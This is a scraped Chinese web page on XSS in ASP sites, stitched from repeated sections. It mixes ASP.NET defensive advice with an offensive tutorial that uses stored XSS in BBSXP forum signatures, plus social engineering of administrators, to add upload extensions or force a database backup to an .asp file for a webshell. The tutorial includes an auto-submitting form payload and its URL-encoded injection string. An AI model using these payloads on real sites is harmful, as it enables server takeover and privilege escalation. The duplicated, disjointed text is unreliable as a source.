xss攻击asp(xss攻击是什么意思)

今日明天 2022年05月29日
本文导读目录:

asp项目中如何防止xss攻击

asp中防止xss攻击的方法如下:

确保所有输出内容都经过 HTML 编码。

禁止用户提供的文本进入任何 HTML 元素属性字符串。

根据 msdn.microsoft.com/library/3yekbd5b 中的概述,检查 Request.Browser,以阻止应用程序使用 Internet Explorer 6。

了解控件的行为以及其输出是否经过 HTML 编码。如果未经过 HTML 编码,则对进入控件的数据进行编码。

使用 Microsoft 防跨站点脚本库 (AntiXSS) 并将其设置为您的默认 HTML 编码器。

在将 HTML 数据保存到数据库之前,使用 AntiXSS Sanitizer 对象(该库是一个单独的下载文件,将在下文中介绍)调用 GetSafeHtml 或 GetSafeHtmlFragment;不要在保存数据之前对数据进行编码。

对于 Web 窗体,不要在网页中设置 EnableRequestValidation=false。遗憾的是,Web 上的大多数用户组文章都建议在出现错误时禁用该设置。该设置的存在是有原因的,例如,如果向服务器发送回“X”之类的字符组合,该设置将阻止请求。如果您的控件将 HTML 发送回服务器并收到图 5 所示的错误,那么理想情况下,您应该在将数据发布到服务器之前对数据进行编码。这是 WYSIWYG 控件的常见情形,现今的大多数版本都会在将其 HTML 数据发布回服务器之前对该数据进行正确编码。

对于 ASP.NET MVC 3 应用程序,当您需要将 HTML 发布回模型时,不要使用 ValidateInput(false) 来关闭请求验证。只需向模型属性中添加 [AllowHtml] 即可,如下所示:

public class BlogEntry

{

public int UserId {get;set;}

[AllowHtml]

public string BlogText {get;set;}

}

最近网上流行的XSS是什么意思

就个人而言,我把XSS攻击分成两类,一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句,如:dvbbs的showerror.asp存在的跨站漏洞。另一类则是来来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个有跨站漏洞的网页,然后构造跨站语句,通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开。 然后利用下面的技术得到一个shell.[编辑本段]如何利用 传统的跨站利用方式一般都是攻击者先构造一个跨站网页,然后在另一空间里放一个收集cookie的页面,接着结合其它技术让用户打开跨站页面以盗取用户的cookie,以便进一步的攻击。个人认为这种方式太过于落后,对于弊端大家可能都知道,因为即便你收集到了cookie你也未必能进一步渗透进去,多数的cookie里面的密码都是经过加密的,如果想要cookie欺骗的话,同样也要受到其它的条件的限约。而本文提出的另一种思路,则从一定程度上解决上述的问题。对于个人而言,比较成熟的方法是通过跨站构造一个表单,表单的内容则为利用程序的备份功能或者加管理员等功能得到一个高权限。下面我将详细的介绍这种技术。[编辑本段]来自内部的跨站攻击 寻找跨站漏洞 如果有代码的话比较好办,我们主要看代码里对用户输入的地方和变量有没有做长度和对”〈”,”〉”,”;”,”’”等字符是否做过滤。还有要注意的是对于标签的闭合,像测试QQ群跨站漏洞的时候,你在标题处输入〈script〉alert(‘test’)〈/script〉,代码是不会被执行的,因为在源代码里,有其它的标签未闭合,如少了一个〈/script〉,这个时候,你只要闭合一个〈/script〉,代码就会执行,如:你在标题处输入〈/script〉〈script〉alert(‘test’)〈/script〉,这样就可以弹出一个test的框。 如何利用 我先以BBSXP为例,过程已做成动画,详情可见光盘中的动画。我举BBSXP中其中两个比较好用的跨站漏洞点为例. a.先注册一个普通用户,我这里注册的用户是linzi.然后我们在个人签名里写入: c.然后发个贴子,可以结合其它技术欺骗管理员浏览发的贴子。 d.因为是测试,所以我们以管理员身份登陆,然后打开贴子,我们会发现,linzi已经变成了社区区长工,如图一所示 除此之外我们只要在个人签名里输入 同样发个贴子等,只要管理员打开了,就会加了一个扩展名为asp (有空格)的上传扩展,这个时候,你只要上传一个newmm.asp (有空格)就可以得到一个shell. 上面的攻击多多少少有点局限性,虽然可以得到shell,但是隐蔽性不太好,因为签名 处受到了长度的限制,不能超过255个字符。我们可以结合flash跨站实现更为隐蔽的 攻击,对于flash木马的制作,下面见哥们丰初的介绍。 再利用如下: 修改一下个人头像的url,输入代码如下: 再接着欺骗管理员打开你的资料或者浏览你的贴子,当管理员打开后,会在后台自动加个php扩展名的后辍,因为bbsxp在个人头像url里过滤了空格,%,所以我们只能加个不包括空格的其它扩展,当然你也可以加个shtml的扩展,有了它你就可以用来查看源代码,然后进一步攻击。[编辑本段]来自外部的跨站攻击 有的时候,当我们对于目标程序找不到可以利用的跨站点,这个时候我们可以利用可以从外部入手,利用我们要拿下的是它的论谈,论谈的安全性做的很好,但其留言板却存在跨站漏洞,这个时候我们可以在留言板里写入跨站语句,跨站语句为以表单的方式向论谈提交提升权限的语句,如上面的bbsxp加asp 扩展的语句。当然我们可利用后台的备份功能直接得到一个shell。 例:先上传一个文件linzi.txt,内容如下: 〈body onload="javascript:document.forms[0].submit()"〉〈form action=" http://127.0.0.1/bbsxp/admin_fso.asp?menu=bakbf " method="post"〉〈input value="database/bbsxp.mdb" name="yl" 〉〈input value="database/shit.asp" name="bf" 〉〈/body〉〈/html〉 上面的代码是把论谈的数据库备份为shit.asp,留言板存在跨站点如下: http://127.0.0.1/bbsxp/page2.asp?username= 我们构造备份跨站语句如下: http://127.0.0.1/bbsxp/page2.asp?username=%3C%62%6F%64%79%20%6F%6E%6C%6F%61%64%3D%22%6A%61%76%61%73%63%72%69%70%74%3A%64%6F%63%75%6D%65%6E%74%2E%66%6F%72%6D%73%5B%30%5D%2E%73%75%62%6D%69%74%28%29%22%3E%3C%66%6F%72%6D%20%61%63%74%69%6F%6E%3D%22%68%74%74%70%3A%2F%2F%31%32%37%2E%30%2E%30%2E%31%2F%62%62%73%78%70%2F%61%64%6D%69%6E%5F%66%73%6F%2E%61%73%70%3F%6D%65%6E%75%3D%62%61%6B%62%66%22%20%6D%65%74%68%6F%64%3D%22%70%6F%73%74%22%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F%62%62%73%78%70%2E%6D%64%62%22%20%6E%61%6D%65%3D%22%79%6C%22%20%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F%73%68%69%74%2E%61%73%70%22%20%6E%61%6D%65%3D%22%62%66%22%20%3E%3C%2F%62%6F%64%79%3E%3C%2F%68%74%6D%6C%3E 或者构造跨站语句,利用iframe打开一个0大小的linzi.txt。 当管理员打开后,会自动备份得到一个shell.[编辑本段]XSS与其它技术的结何 从上面的实例,我们可以知道,如何欺骗管理打开是一个很重要的步骤,对于欺骗打开,除了社会工程学外,我们可以结合其它的技术,如sql injection.当我们渗透一个网站之时,主站mssql注入漏洞,权限为public,这个时候我们利用update构造跨站语句,如用iframe打开一个上面的备份得到shell的跨站语句等,同样,我们可以在社会工程学时,利用QQ的其它跨站漏洞等等。 总是对于欺骗也是一门艺术,具体怎么利用,大家就发挥自己的想象力吧! 好一个欺骗也是一门艺术,不管是在生活中还是在网络中。生活中难免有些事情不能讲真话,这时采用适当的方法使得我们的假话当作真话讲,这就靠欺骗的艺术了。

什么是XSS跨站脚本攻击

什么是XSS攻击XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常忽略其危害性。而本文主要讲的是利用XSS得到目标服务器的shell。技术虽然是老技术,但是其思路希望对大家有帮助。 [编辑本段]如何寻找XSS漏洞就个人而言,我把XSS攻击分成两类,一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句,如:dvbbs的showerror.asp存在的跨站漏洞。另一类则是来来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个有跨站漏洞的网页,然后构造跨站语句,通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开。

XSS攻击原理是什么?

什么是XSS攻击XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常忽略其危害性。而本文主要讲的是利用XSS得到目标服务器的shell。技术虽然是老技术,但是其思路希望对大家有帮助。 [编辑本段]如何寻找XSS漏洞就个人而言,我把XSS攻击分成两类,一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句,如:dvbbs的showerror.asp存在的跨站漏洞。另一类则是来来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个有跨站漏洞的网页,然后构造跨站语句,通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开。

asp网站如何防止XSS攻击

asp中防止xss攻击的方法如下:

确保所有输出内容都经过 HTML 编码。

禁止用户提供的文本进入任何 HTML 元素属性字符串。

根据 msdn.microsoft.com/library/3yekbd5b 中的概述,检查 Request.Browser,以阻止应用程序使用 Internet Explorer 6。

了解控件的行为以及其输出是否经过 HTML 编码。如果未经过 HTML 编码,则对进入控件的数据进行编码。

使用 Microsoft 防跨站点脚本库 (AntiXSS) 并将其设置为您的默认 HTML 编码器。

在将 HTML 数据保存到数据库之前,使用 AntiXSS Sanitizer 对象(该库是一个单独的下载文件,将在下文中介绍)调用 GetSafeHtml 或 GetSafeHtmlFragment;不要在保存数据之前对数据进行编码。

对于 Web 窗体,不要在网页中设置 EnableRequestValidation=false。遗憾的是,Web 上的大多数用户组文章都建议在出现错误时禁用该设置。该设置的存在是有原因的,例如,如果向服务器发送回“X”之类的字符组合,该设置将阻止请求。如果您的控件将 HTML 发送回服务器并收到图 5 所示的错误,那么理想情况下,您应该在将数据发布到服务器之前对数据进行编码。这是 WYSIWYG 控件的常见情形,现今的大多数版本都会在将其 HTML 数据发布回服务器之前对该数据进行正确编码。

对于 ASP.NET MVC 3 应用程序,当您需要将 HTML 发布回模型时,不要使用 ValidateInput(false) 来关闭请求验证。只需向模型属性中添加 [AllowHtml] 即可,如下所示:

public class BlogEntry

{

public int UserId {get;set;}

[AllowHtml]

public string BlogText {get;set;}

}

XSS攻击原理是什么

什么是XSS攻击XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常忽略其危害性。而本文主要讲的是利用XSS得到目标服务器的shell。技术虽然是老技术,但是其思路希望对大家有帮助。 [编辑本段]如何寻找XSS漏洞就个人而言,我把XSS攻击分成两类,一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句,如:dvbbs的showerror.asp存在的跨站漏洞。另一类则是来来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个有跨站漏洞的网页,然后构造跨站语句,通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开。

关键词: xss攻击asp
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黑客技术 2年前 (2022-05-30) | 回复
资料或者浏览你的贴子,当管理员打开后,会在后台自动加个php扩展名的后辍,因为bbsxp在个人头像url里过滤了空格,%,所以我们只能加个不包括空格的其它扩展,当然你也可以加个shtml的扩展,有了它你就可以用来查看源代码,然后进一步攻击。[编辑本段]来自外部
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